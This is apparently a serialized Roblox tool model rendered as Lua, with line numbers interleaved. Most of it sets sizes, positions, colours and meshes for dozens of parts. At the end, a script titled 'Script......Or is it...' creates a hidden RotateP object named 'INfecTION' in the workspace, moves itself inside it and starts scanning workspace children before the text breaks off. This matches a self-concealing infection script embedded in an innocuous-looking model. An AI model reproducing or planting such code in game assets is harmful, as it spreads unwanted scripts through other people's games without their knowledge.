BlockMesh286.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
3548
Part287.Parent = Tool0
3549
Part287.Material = Enum.Material.SmoothPlastic
3550
Part287.BrickColor = BrickColor.new("Really black")
3551
Part287.Rotation = Vector3.new(-180, 0.539999962, -180)
3552
Part287.Anchored = true
3553
Part287.FormFactor = Enum.FormFactor.Custom
3554
Part287.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
3555
Part287.CFrame = CFrame.new(26.8973389, 1.336182, 139.970337, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
3556
Part287.BottomSurface = Enum.SurfaceType.Smooth
3557
Part287.TopSurface = Enum.SurfaceType.Smooth
3558
Part287.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3559
Part287.Position = Vector3.new(26.8973389, 1.336182, 139.970337)
3560
Part287.Orientation = Vector3.new(0, 179.459991, 0)
3561
Part287.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3562
BlockMesh288.Parent = Part287
3563
BlockMesh288.Offset = Vector3.new(-0.180000007, 0, 0)
3564
BlockMesh288.Scale = Vector3.new(1.35000002, 0.0749999955, 1)
3565
BlockMesh288.Scale = Vector3.new(1.35000002, 0.0749999955, 1)
3566
Part289.Parent = Tool0
3567
Part289.Material = Enum.Material.SmoothPlastic
3568
Part289.BrickColor = BrickColor.new("Dark stone grey")
3569
Part289.Rotation = Vector3.new(-180, -89.4599991, -180)
3570
Part289.Anchored = true
3571
Part289.FormFactor = Enum.FormFactor.Custom
3572
Part289.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3573
Part289.CFrame = CFrame.new(27.0336914, 1.67529297, 140.148499, -0.00939145684, 4.35706298e-08, -0.999955893, -1.4781123e-08, 0.99999994, 4.37113812e-08, 0.999955773, 1.51909649e-08, -0.00939150155)
3574
Part289.BottomSurface = Enum.SurfaceType.Smooth
3575
Part289.TopSurface = Enum.SurfaceType.Smooth
3576
Part289.Color = Color3.new(0.388235, 0.372549, 0.384314)
3577
Part289.Position = Vector3.new(27.0336914, 1.67529297, 140.148499)
3578
Part289.Orientation = Vector3.new(0, -90.5400009, 0)
3579
Part289.Color = Color3.new(0.388235, 0.372549, 0.384314)
3580
SpecialMesh290.Parent = Part289
3581
SpecialMesh290.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
3582
SpecialMesh290.MeshType = Enum.MeshType.Wedge
3583
SpecialMesh290.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
3584
Part291.Parent = Tool0
3585
Part291.Material = Enum.Material.SmoothPlastic
3586
Part291.BrickColor = BrickColor.new("Dark stone grey")
3587
Part291.Rotation = Vector3.new(0, 89.4599991, 0)
3588
Part291.Anchored = true
3589
Part291.FormFactor = Enum.FormFactor.Custom
3590
Part291.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3591
Part291.CFrame = CFrame.new(27.118042, 1.67529297, 140.149475, 0.00939139724, -1.8716446e-07, 0.999955833, 2.35526358e-07, 0.999999821, -1.59576587e-07, -0.999955356, 2.33778906e-07, 0.00939165056)
3592
Part291.BottomSurface = Enum.SurfaceType.Smooth
3593
Part291.TopSurface = Enum.SurfaceType.Smooth
3594
Part291.Color = Color3.new(0.388235, 0.372549, 0.384314)
3595
Part291.Position = Vector3.new(27.118042, 1.67529297, 140.149475)
3596
Part291.Orientation = Vector3.new(0, 89.4599991, 0)
3597
Part291.Color = Color3.new(0.388235, 0.372549, 0.384314)
3598
SpecialMesh292.Parent = Part291
3599
SpecialMesh292.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
3600
SpecialMesh292.MeshType = Enum.MeshType.Wedge
3601
SpecialMesh292.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
3602
Part293.Parent = Tool0
3603
Part293.Material = Enum.Material.SmoothPlastic
3604
Part293.BrickColor = BrickColor.new("Dark stone grey")
3605
Part293.Rotation = Vector3.new(-180, -89.4599991, 0)
3606
Part293.Anchored = true
3607
Part293.FormFactor = Enum.FormFactor.Custom
3608
Part293.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3609
Part293.CFrame = CFrame.new(27.1236572, 1.67529297, 140.149292, 0.00939139724, 2.48428307e-07, -0.999955833, 2.35526358e-07, -0.999999821, 2.20843248e-07, -0.999955356, -2.33203508e-07, -0.00939165056)
3610
Part293.BottomSurface = Enum.SurfaceType.Smooth
3611
Part293.TopSurface = Enum.SurfaceType.Smooth
3612
Part293.Color = Color3.new(0.388235, 0.372549, 0.384314)
3613
Part293.Position = Vector3.new(27.1236572, 1.67529297, 140.149292)
3614
Part293.Orientation = Vector3.new(0, -90.5400009, 180)
3615
Part293.Color = Color3.new(0.388235, 0.372549, 0.384314)
3616
SpecialMesh294.Parent = Part293
3617
SpecialMesh294.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
3618
SpecialMesh294.MeshType = Enum.MeshType.Wedge
3619
SpecialMesh294.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
3620
Part295.Parent = Tool0
3621
Part295.Material = Enum.Material.SmoothPlastic
3622
Part295.BrickColor = BrickColor.new("Dark stone grey")
3623
Part295.Rotation = Vector3.new(0, -0.539999962, 0)
3624
Part295.Anchored = true
3625
Part295.FormFactor = Enum.FormFactor.Custom
3626
Part295.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3627
Part295.CFrame = CFrame.new(27.0336914, 1.64526403, 140.148499, 0.999955833, 4.35706333e-08, -0.00939139724, -4.37113776e-08, 0.999999821, -1.47811212e-08, 0.00939165056, 1.51909632e-08, 0.999955356)
3628
Part295.BottomSurface = Enum.SurfaceType.Smooth
3629
Part295.TopSurface = Enum.SurfaceType.Smooth
3630
Part295.Color = Color3.new(0.388235, 0.372549, 0.384314)
3631
Part295.Position = Vector3.new(27.0336914, 1.64526403, 140.148499)
3632
Part295.Orientation = Vector3.new(0, -0.539999962, 0)
3633
Part295.Color = Color3.new(0.388235, 0.372549, 0.384314)
3634
BlockMesh296.Parent = Part295
3635
BlockMesh296.Scale = Vector3.new(0.0299999993, 0.149999991, 0.180000827)
3636
BlockMesh296.Scale = Vector3.new(0.0299999993, 0.149999991, 0.180000827)
3637
Part297.Parent = Tool0
3638
Part297.Material = Enum.Material.SmoothPlastic
3639
Part297.BrickColor = BrickColor.new("Dark stone grey")
3640
Part297.Rotation = Vector3.new(0, -0.539999962, 0)
3641
Part297.Anchored = true
3642
Part297.FormFactor = Enum.FormFactor.Custom
3643
Part297.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3644
Part297.CFrame = CFrame.new(27.118042, 1.64526403, 140.149475, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
3645
Part297.BottomSurface = Enum.SurfaceType.Smooth
3646
Part297.TopSurface = Enum.SurfaceType.Smooth
3647
Part297.Color = Color3.new(0.388235, 0.372549, 0.384314)
3648
Part297.Position = Vector3.new(27.118042, 1.64526403, 140.149475)
3649
Part297.Orientation = Vector3.new(0, -0.539999962, 0)
3650
Part297.Color = Color3.new(0.388235, 0.372549, 0.384314)
3651
BlockMesh298.Parent = Part297
3652
BlockMesh298.Scale = Vector3.new(0.0299999993, 0.149999991, 0.180000827)
3653
BlockMesh298.Scale = Vector3.new(0.0299999993, 0.149999991, 0.180000827)
3654
Part299.Parent = Tool0
3655
Part299.Material = Enum.Material.SmoothPlastic
3656
Part299.BrickColor = BrickColor.new("Dark stone grey")
3657
Part299.Rotation = Vector3.new(0, -0.539999962, 0)
3658
Part299.Anchored = true
3659
Part299.FormFactor = Enum.FormFactor.Custom
3660
Part299.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3661
Part299.CFrame = CFrame.new(27.0756836, 1.66015601, 140.148926, 0.999955833, -1.8716446e-07, -0.00939139724, -1.59576587e-07, 0.999999821, -2.35526358e-07, 0.00939165056, 2.33778906e-07, 0.999955356)
3662
Part299.BottomSurface = Enum.SurfaceType.Smooth
3663
Part299.TopSurface = Enum.SurfaceType.Smooth
3664
Part299.Color = Color3.new(0.388235, 0.372549, 0.384314)
3665
Part299.Position = Vector3.new(27.0756836, 1.66015601, 140.148926)
3666
Part299.Orientation = Vector3.new(0, -0.539999962, 0)
3667
Part299.Color = Color3.new(0.388235, 0.372549, 0.384314)
3668
BlockMesh300.Parent = Part299
3669
BlockMesh300.Scale = Vector3.new(0.0299999993, 0.299999982, 0.180000827)
3670
BlockMesh300.Scale = Vector3.new(0.0299999993, 0.299999982, 0.180000827)
3671
Part301.Parent = Tool0
3672
Part301.Material = Enum.Material.SmoothPlastic
3673
Part301.BrickColor = BrickColor.new("Dark stone grey")
3674
Part301.Rotation = Vector3.new(0, 89.4599991, 0)
3675
Part301.Anchored = true
3676
Part301.FormFactor = Enum.FormFactor.Custom
3677
Part301.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3678
Part301.CFrame = CFrame.new(27.069458, 1.66015601, 140.148804, 0.00939139724, -1.8716446e-07, 0.999955833, 2.35526358e-07, 0.999999821, -1.59576587e-07, -0.999955356, 2.33778906e-07, 0.00939165056)
3679
Part301.BottomSurface = Enum.SurfaceType.Smooth
3680
Part301.TopSurface = Enum.SurfaceType.Smooth
3681
Part301.Color = Color3.new(0.388235, 0.372549, 0.384314)
3682
Part301.Position = Vector3.new(27.069458, 1.66015601, 140.148804)
3683
Part301.Orientation = Vector3.new(0, 89.4599991, 0)
3684
Part301.Color = Color3.new(0.388235, 0.372549, 0.384314)
3685
SpecialMesh302.Parent = Part301
3686
SpecialMesh302.Scale = Vector3.new(0.180000007, 0.299999982, 0.0299999993)
3687
SpecialMesh302.MeshType = Enum.MeshType.Wedge
3688
SpecialMesh302.Scale = Vector3.new(0.180000007, 0.299999982, 0.0299999993)
3689
Part303.Parent = Tool0
3690
Part303.Material = Enum.Material.SmoothPlastic
3691
Part303.BrickColor = BrickColor.new("Dark stone grey")
3692
Part303.Rotation = Vector3.new(-180, -89.4599991, 180)
3693
Part303.Anchored = true
3694
Part303.FormFactor = Enum.FormFactor.Custom
3695
Part303.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3696
Part303.CFrame = CFrame.new(27.0811768, 1.66015601, 140.149109, -0.00939139724, -2.17796412e-07, -0.999955833, -2.35526358e-07, 0.999999821, 1.90209889e-07, 0.999955356, 2.33491207e-07, -0.00939165056)
3697
Part303.BottomSurface = Enum.SurfaceType.Smooth
3698
Part303.TopSurface = Enum.SurfaceType.Smooth
3699
Part303.Color = Color3.new(0.388235, 0.372549, 0.384314)
3700
Part303.Position = Vector3.new(27.0811768, 1.66015601, 140.149109)
3701
Part303.Orientation = Vector3.new(0, -90.5400009, 0)
3702
Part303.Color = Color3.new(0.388235, 0.372549, 0.384314)
3703
SpecialMesh304.Parent = Part303
3704
SpecialMesh304.Scale = Vector3.new(0.180000007, 0.299999982, 0.0299999993)
3705
SpecialMesh304.MeshType = Enum.MeshType.Wedge
3706
SpecialMesh304.Scale = Vector3.new(0.180000007, 0.299999982, 0.0299999993)
3707
Part305.Parent = Tool0
3708
Part305.Material = Enum.Material.SmoothPlastic
3709
Part305.BrickColor = BrickColor.new("Dark stone grey")
3710
Part305.Rotation = Vector3.new(0, -0.539999962, 0)
3711
Part305.Anchored = true
3712
Part305.FormFactor = Enum.FormFactor.Custom
3713
Part305.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3714
Part305.CFrame = CFrame.new(27.0756836, 1.54028296, 140.148926, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
3715
Part305.BottomSurface = Enum.SurfaceType.Smooth
3716
Part305.TopSurface = Enum.SurfaceType.Smooth
3717
Part305.Color = Color3.new(0.388235, 0.372549, 0.384314)
3718
Part305.Position = Vector3.new(27.0756836, 1.54028296, 140.148926)
3719
Part305.Orientation = Vector3.new(0, -0.539999962, 0)
3720
Part305.Color = Color3.new(0.388235, 0.372549, 0.384314)
3721
BlockMesh306.Parent = Part305
3722
BlockMesh306.Scale = Vector3.new(0.450000018, 0.900000036, 0.180000827)
3723
BlockMesh306.Scale = Vector3.new(0.450000018, 0.900000036, 0.180000827)
3724
Part307.Parent = Tool0
3725
Part307.Material = Enum.Material.SmoothPlastic
3726
Part307.BrickColor = BrickColor.new("Dark stone grey")
3727
Part307.Rotation = Vector3.new(0, -0.539999962, 0)
3728
Part307.Anchored = true
3729
Part307.FormFactor = Enum.FormFactor.Custom
3730
Part307.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3731
Part307.CFrame = CFrame.new(27.0330811, 1.60620105, 138.321472, 0.999955833, -2.45538843e-08, -0.00939139724, -1.02097069e-07, 0.999999821, -3.55030458e-08, 0.00939165056, 3.52667371e-08, 0.999955356)
3732
Part307.BottomSurface = Enum.SurfaceType.Smooth
3733
Part307.TopSurface = Enum.SurfaceType.Smooth
3734
Part307.Color = Color3.new(0.388235, 0.372549, 0.384314)
3735
Part307.Position = Vector3.new(27.0330811, 1.60620105, 138.321472)
3736
Part307.Orientation = Vector3.new(0, -0.539999962, 0)
3737
Part307.Color = Color3.new(0.388235, 0.372549, 0.384314)
3738
BlockMesh308.Parent = Part307
3739
BlockMesh308.Scale = Vector3.new(0.149999991, 0.540000021, 0.330000818)
3740
BlockMesh308.Scale = Vector3.new(0.149999991, 0.540000021, 0.330000818)
3741
Part309.Parent = Tool0
3742
Part309.Material = Enum.Material.SmoothPlastic
3743
Part309.BrickColor = BrickColor.new("Dark stone grey")
3744
Part309.Rotation = Vector3.new(0, -0.539999962, 0)
3745
Part309.Anchored = true
3746
Part309.FormFactor = Enum.FormFactor.Custom
3747
Part309.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3748
Part309.CFrame = CFrame.new(27.1530762, 1.60620105, 138.323853, 0.999955833, -9.16734137e-08, -0.00939139724, -1.613449e-07, 0.999999821, -4.10036698e-08, 0.00939165056, 4.01372162e-08, 0.999955356)
3749
Part309.BottomSurface = Enum.SurfaceType.Smooth
3750
Part309.TopSurface = Enum.SurfaceType.Smooth
3751
Part309.Color = Color3.new(0.388235, 0.372549, 0.384314)
3752
Part309.Position = Vector3.new(27.1530762, 1.60620105, 138.323853)
3753
Part309.Orientation = Vector3.new(0, -0.539999962, 0)
3754
Part309.Color = Color3.new(0.388235, 0.372549, 0.384314)
3755
BlockMesh310.Parent = Part309
3756
BlockMesh310.Scale = Vector3.new(0.149999991, 0.540000021, 0.330000818)
3757
BlockMesh310.Scale = Vector3.new(0.149999991, 0.540000021, 0.330000818)
3758
Part311.Parent = Tool0
3759
Part311.Material = Enum.Material.SmoothPlastic
3760
Part311.BrickColor = BrickColor.new("Dark stone grey")
3761
Part311.Rotation = Vector3.new(0, 89.4599991, -180)
3762
Part311.Anchored = true
3763
Part311.FormFactor = Enum.FormFactor.Custom
3764
Part311.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3765
Part311.CFrame = CFrame.new(27.0330811, 1.53710902, 138.321472, -0.00939139724, 9.964117e-08, 0.999955833, 4.65915591e-08, -0.999999583, -1.52554577e-07, 0.999955356, 4.74784869e-08, 0.00939165056)
3766
Part311.BottomSurface = Enum.SurfaceType.Smooth
3767
Part311.TopSurface = Enum.SurfaceType.Smooth
3768
Part311.Color = Color3.new(0.388235, 0.372549, 0.384314)
3769
Part311.Position = Vector3.new(27.0330811, 1.53710902, 138.321472)
3770
Part311.Orientation = Vector3.new(0, 89.4599991, 180)
3771
Part311.Color = Color3.new(0.388235, 0.372549, 0.384314)
3772
SpecialMesh312.Parent = Part311
3773
SpecialMesh312.Scale = Vector3.new(0.329999983, 0.149999037, 0.149996936)
3774
SpecialMesh312.MeshType = Enum.MeshType.Wedge
3775
SpecialMesh312.Scale = Vector3.new(0.329999983, 0.149999037, 0.149996936)
3776
Part313.Parent = Tool0
3777
Part313.Material = Enum.Material.SmoothPlastic
3778
Part313.BrickColor = BrickColor.new("Dark stone grey")
3779
Part313.Rotation = Vector3.new(-180, -89.4599991, 0)
3780
Part313.Anchored = true
3781
Part313.FormFactor = Enum.FormFactor.Custom
3782
Part313.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3783
Part313.CFrame = CFrame.new(27.15271, 1.53710902, 138.322876, 0.00939139724, 9.96410279e-08, -0.999955833, -4.65770071e-08, -0.999999702, 1.52554605e-07, -0.999955356, 4.74930104e-08, -0.00939165056)
3784
Part313.BottomSurface = Enum.SurfaceType.Smooth
3785
Part313.TopSurface = Enum.SurfaceType.Smooth
3786
Part313.Color = Color3.new(0.388235, 0.372549, 0.384314)
3787
Part313.Position = Vector3.new(27.15271, 1.53710902, 138.322876)
3788
Part313.Orientation = Vector3.new(0, -90.5400009, -180)
3789
Part313.Color = Color3.new(0.388235, 0.372549, 0.384314)
3790
SpecialMesh314.Parent = Part313
3791
SpecialMesh314.Scale = Vector3.new(0.329999983, 0.149999037, 0.149996936)
3792
SpecialMesh314.MeshType = Enum.MeshType.Wedge
3793
SpecialMesh314.Scale = Vector3.new(0.329999983, 0.149999037, 0.149996936)
3794
Part315.Parent = Tool0
3795
Part315.Material = Enum.Material.SmoothPlastic
3796
Part315.BrickColor = BrickColor.new("Dark stone grey")
3797
Part315.Rotation = Vector3.new(0, -0.539999962, 0)
3798
Part315.Anchored = true
3799
Part315.FormFactor = Enum.FormFactor.Custom
3800
Part315.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3801
Part315.CFrame = CFrame.new(27.0926514, 1.51025403, 138.32196, 0.999955833, -2.45538843e-08, -0.00939139724, -1.02097069e-07, 0.999999821, -3.55030458e-08, 0.00939165056, 3.52667371e-08, 0.999955356)
3802
Part315.BottomSurface = Enum.SurfaceType.Smooth
3803
Part315.TopSurface = Enum.SurfaceType.Smooth
3804
Part315.Color = Color3.new(0.388235, 0.372549, 0.384314)
3805
Part315.Position = Vector3.new(27.0926514, 1.51025403, 138.32196)
3806
Part315.Orientation = Vector3.new(0, -0.539999962, 0)
3807
Part315.Color = Color3.new(0.388235, 0.372549, 0.384314)
3808
BlockMesh316.Parent = Part315
3809
BlockMesh316.Scale = Vector3.new(0.450000018, 0.599999964, 0.330000818)
3810
BlockMesh316.Scale = Vector3.new(0.450000018, 0.599999964, 0.330000818)
3811
Part317.Parent = Tool0
3812
Part317.Material = Enum.Material.SmoothPlastic
3813
Part317.Rotation = Vector3.new(90, 0, -89.4599991)
3814
Part317.Anchored = true
3815
Part317.FormFactor = Enum.FormFactor.Custom
3816
Part317.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3817
Part317.CFrame = CFrame.new(27.0925293, 1.60913098, 138.346024, 0.00939130783, 0.999955833, 1.70753026e-07, 1.92485512e-08, -5.04777447e-08, -0.999999583, -0.999955118, 0.00939165056, -1.76384845e-08)
3818
Part317.BottomSurface = Enum.SurfaceType.Smooth
3819
Part317.TopSurface = Enum.SurfaceType.Smooth
3820
Part317.Position = Vector3.new(27.0925293, 1.60913098, 138.346024)
3821
Part317.Orientation = Vector3.new(89.9499969, 95.9000015, 159.12999)
3822
CylinderMesh318.Parent = Part317
3823
CylinderMesh318.Scale = Vector3.new(0.180000007, 0.450000137, 0.150000781)
3824
CylinderMesh318.Scale = Vector3.new(0.180000007, 0.450000137, 0.150000781)
3825
Part319.Parent = Tool0
3826
Part319.Material = Enum.Material.SmoothPlastic
3827
Part319.BrickColor = BrickColor.new("Dark stone grey")
3828
Part319.Rotation = Vector3.new(0, -0.539999962, 0)
3829
Part319.Anchored = true
3830
Part319.FormFactor = Enum.FormFactor.Custom
3831
Part319.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3832
Part319.CFrame = CFrame.new(27.0330811, 1.47119105, 138.321472, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
3833
Part319.BottomSurface = Enum.SurfaceType.Smooth
3834
Part319.TopSurface = Enum.SurfaceType.Smooth
3835
Part319.Color = Color3.new(0.388235, 0.372549, 0.384314)
3836
Part319.Position = Vector3.new(27.0330811, 1.47119105, 138.321472)
3837
Part319.Orientation = Vector3.new(0, -0.539999962, 0)
3838
Part319.Color = Color3.new(0.388235, 0.372549, 0.384314)
3839
BlockMesh320.Parent = Part319
3840
BlockMesh320.Scale = Vector3.new(0.149999991, 0.209999979, 0.450000882)
3841
BlockMesh320.Scale = Vector3.new(0.149999991, 0.209999979, 0.450000882)
3842
Part321.Parent = Tool0
3843
Part321.Material = Enum.Material.SmoothPlastic
3844
Part321.BrickColor = BrickColor.new("Dark stone grey")
3845
Part321.Rotation = Vector3.new(90, 0, -89.4599991)
3846
Part321.Anchored = true
3847
Part321.FormFactor = Enum.FormFactor.Custom
3848
Part321.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3849
Part321.CFrame = CFrame.new(27.0925293, 1.58227503, 138.346024, 0.00939130783, 0.999955833, 1.70753026e-07, 1.92485512e-08, -5.04777447e-08, -0.999999583, -0.999955118, 0.00939165056, -1.76384845e-08)
3850
Part321.BottomSurface = Enum.SurfaceType.Smooth
3851
Part321.TopSurface = Enum.SurfaceType.Smooth
3852
Part321.Color = Color3.new(0.388235, 0.372549, 0.384314)
3853
Part321.Position = Vector3.new(27.0925293, 1.58227503, 138.346024)
3854
Part321.Orientation = Vector3.new(89.9499969, 95.9000015, 159.12999)
3855
Part321.Color = Color3.new(0.388235, 0.372549, 0.384314)
3856
CylinderMesh322.Parent = Part321
3857
CylinderMesh322.Offset = Vector3.new(0, 0, -0.0269999988)
3858
CylinderMesh322.Scale = Vector3.new(0.180000007, 0.225000009, 0.239999995)
3859
CylinderMesh322.Scale = Vector3.new(0.180000007, 0.225000009, 0.239999995)
3860
Part323.Parent = Tool0
3861
Part323.Material = Enum.Material.SmoothPlastic
3862
Part323.BrickColor = BrickColor.new("Dark stone grey")
3863
Part323.Rotation = Vector3.new(90.5400009, -45, -89.2399979)
3864
Part323.Anchored = true
3865
Part323.FormFactor = Enum.FormFactor.Custom
3866
Part323.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3867
Part323.CFrame = CFrame.new(27.1077881, 1.63916004, 138.346252, 0.00939139724, 0.707075477, -0.707075417, 3.55030458e-08, -0.70710659, -0.707106471, -0.999955356, 0.00664065778, -0.00664073229)
3868
Part323.BottomSurface = Enum.SurfaceType.Smooth
3869
Part323.TopSurface = Enum.SurfaceType.Smooth
3870
Part323.Color = Color3.new(0.388235, 0.372549, 0.384314)
3871
Part323.Position = Vector3.new(27.1077881, 1.63916004, 138.346252)
3872
Part323.Orientation = Vector3.new(45, -90.5400009, 180)
3873
Part323.Color = Color3.new(0.388235, 0.372549, 0.384314)
3874
BlockMesh324.Parent = Part323
3875
BlockMesh324.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.23624517)
3876
BlockMesh324.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.23624517)
3877
Part325.Parent = Tool0
3878
Part325.Material = Enum.Material.SmoothPlastic
3879
Part325.BrickColor = BrickColor.new("Dark stone grey")
3880
Part325.Rotation = Vector3.new(-90.5400009, -45, 89.2399979)
3881
Part325.Anchored = true
3882
Part325.FormFactor = Enum.FormFactor.Custom
3883
Part325.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3884
Part325.CFrame = CFrame.new(27.1077881, 1.66210902, 138.346252, 0.00939139724, -0.707075417, -0.707075477, 3.55030458e-08, -0.707106471, 0.70710659, -0.999955356, -0.00664073229, -0.00664065778)
3885
Part325.BottomSurface = Enum.SurfaceType.Smooth
3886
Part325.TopSurface = Enum.SurfaceType.Smooth
3887
Part325.Color = Color3.new(0.388235, 0.372549, 0.384314)
3888
Part325.Position = Vector3.new(27.1077881, 1.66210902, 138.346252)
3889
Part325.Orientation = Vector3.new(-45, -90.5400009, 180)
3890
Part325.Color = Color3.new(0.388235, 0.372549, 0.384314)
3891
BlockMesh326.Parent = Part325
3892
BlockMesh326.Offset = Vector3.new(0, 0, 0.00300000003)
3893
BlockMesh326.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.254999995)
3894
BlockMesh326.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.254999995)
3895
Part327.Parent = Tool0
3896
Part327.Material = Enum.Material.SmoothPlastic
3897
Part327.BrickColor = BrickColor.new("Dark stone grey")
3898
Part327.Rotation = Vector3.new(0, -0.539999962, 0)
3899
Part327.Anchored = true
3900
Part327.FormFactor = Enum.FormFactor.Custom
3901
Part327.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3902
Part327.CFrame = CFrame.new(27.15271, 1.47119105, 138.322876, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
3903
Part327.BottomSurface = Enum.SurfaceType.Smooth
3904
Part327.TopSurface = Enum.SurfaceType.Smooth
3905
Part327.Color = Color3.new(0.388235, 0.372549, 0.384314)
3906
Part327.Position = Vector3.new(27.15271, 1.47119105, 138.322876)
3907
Part327.Orientation = Vector3.new(0, -0.539999962, 0)
3908
Part327.Color = Color3.new(0.388235, 0.372549, 0.384314)
3909
BlockMesh328.Parent = Part327
3910
BlockMesh328.Scale = Vector3.new(0.149999991, 0.209999979, 0.450000882)
3911
BlockMesh328.Scale = Vector3.new(0.149999991, 0.209999979, 0.450000882)
3912
Part329.Parent = Tool0
3913
Part329.Material = Enum.Material.SmoothPlastic
3914
Part329.BrickColor = BrickColor.new("Dark stone grey")
3915
Part329.Rotation = Vector3.new(-90, 0, 89.4599991)
3916
Part329.Anchored = true
3917
Part329.FormFactor = Enum.FormFactor.Custom
3918
Part329.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3919
Part329.CFrame = CFrame.new(27.1530762, 1.693115, 138.323853, 0.00939139724, -0.999955833, -2.45538843e-08, 3.55030458e-08, 1.02097069e-07, 0.999999821, -0.999955356, -0.00939165056, 3.52667371e-08)
3920
Part329.BottomSurface = Enum.SurfaceType.Smooth
3921
Part329.TopSurface = Enum.SurfaceType.Smooth
3922
Part329.Color = Color3.new(0.388235, 0.372549, 0.384314)
3923
Part329.Position = Vector3.new(27.1530762, 1.693115, 138.323853)
3924
Part329.Orientation = Vector3.new(-89.9700012, -34.8499985, 19.1700001)
3925
Part329.Color = Color3.new(0.388235, 0.372549, 0.384314)
3926
CylinderMesh330.Parent = Part329
3927
CylinderMesh330.Offset = Vector3.new(0, 0, -0.0360000022)
3928
CylinderMesh330.Scale = Vector3.new(0.329999983, 0.149999991, 0.329999983)
3929
CylinderMesh330.Scale = Vector3.new(0.329999983, 0.149999991, 0.329999983)
3930
Part331.Parent = Tool0
3931
Part331.Material = Enum.Material.SmoothPlastic
3932
Part331.BrickColor = BrickColor.new("Dark stone grey")
3933
Part331.Rotation = Vector3.new(-90, 0, 89.4599991)
3934
Part331.Anchored = true
3935
Part331.FormFactor = Enum.FormFactor.Custom
3936
Part331.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3937
Part331.CFrame = CFrame.new(27.0330811, 1.693115, 138.321472, 0.00939139724, -0.999955833, -2.45538843e-08, 3.55030458e-08, 1.02097069e-07, 0.999999821, -0.999955356, -0.00939165056, 3.52667371e-08)
3938
Part331.BottomSurface = Enum.SurfaceType.Smooth
3939
Part331.TopSurface = Enum.SurfaceType.Smooth
3940
Part331.Color = Color3.new(0.388235, 0.372549, 0.384314)
3941
Part331.Position = Vector3.new(27.0330811, 1.693115, 138.321472)
3942
Part331.Orientation = Vector3.new(-89.9700012, -34.8499985, 19.1700001)
3943
Part331.Color = Color3.new(0.388235, 0.372549, 0.384314)
3944
CylinderMesh332.Parent = Part331
3945
CylinderMesh332.Offset = Vector3.new(0, 0, -0.0360000022)
3946
CylinderMesh332.Scale = Vector3.new(0.329999983, 0.149999991, 0.329999983)
3947
CylinderMesh332.Scale = Vector3.new(0.329999983, 0.149999991, 0.329999983)
3948
Part333.Parent = Tool0
3949
Part333.Material = Enum.Material.SmoothPlastic
3950
Part333.BrickColor = BrickColor.new("Dark stone grey")
3951
Part333.Rotation = Vector3.new(-90.5400009, -45, 89.2399979)
3952
Part333.Anchored = true
3953
Part333.FormFactor = Enum.FormFactor.Custom
3954
Part333.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3955
Part333.CFrame = CFrame.new(27.0773926, 1.63916004, 138.345764, 0.00939139724, -0.707075417, -0.707075477, 3.55030458e-08, -0.707106471, 0.70710659, -0.999955356, -0.00664073229, -0.00664065778)
3956
Part333.BottomSurface = Enum.SurfaceType.Smooth
3957
Part333.TopSurface = Enum.SurfaceType.Smooth
3958
Part333.Color = Color3.new(0.388235, 0.372549, 0.384314)
3959
Part333.Position = Vector3.new(27.0773926, 1.63916004, 138.345764)
3960
Part333.Orientation = Vector3.new(-45, -90.5400009, 180)
3961
Part333.Color = Color3.new(0.388235, 0.372549, 0.384314)
3962
BlockMesh334.Parent = Part333
3963
BlockMesh334.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.23624517)
3964
BlockMesh334.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.23624517)
3965
Script335.Name = "Script......Or is it..."
3966
Script335.Parent = mas
3967
table.insert(cors,sandbox(Script335,function()
3968
if script.Parent.className ~= "RotateP" then
3969
	local p = Instance.new("RotateP")
3970
	p.Parent = workspace
3971
	p.Name = "INfecTION"
3972
	script.Parent = p
3973
end
3974
3975
function check()
3976
	local list = workspace:GetChildren()
3977
	for i = 1, #list do
3978
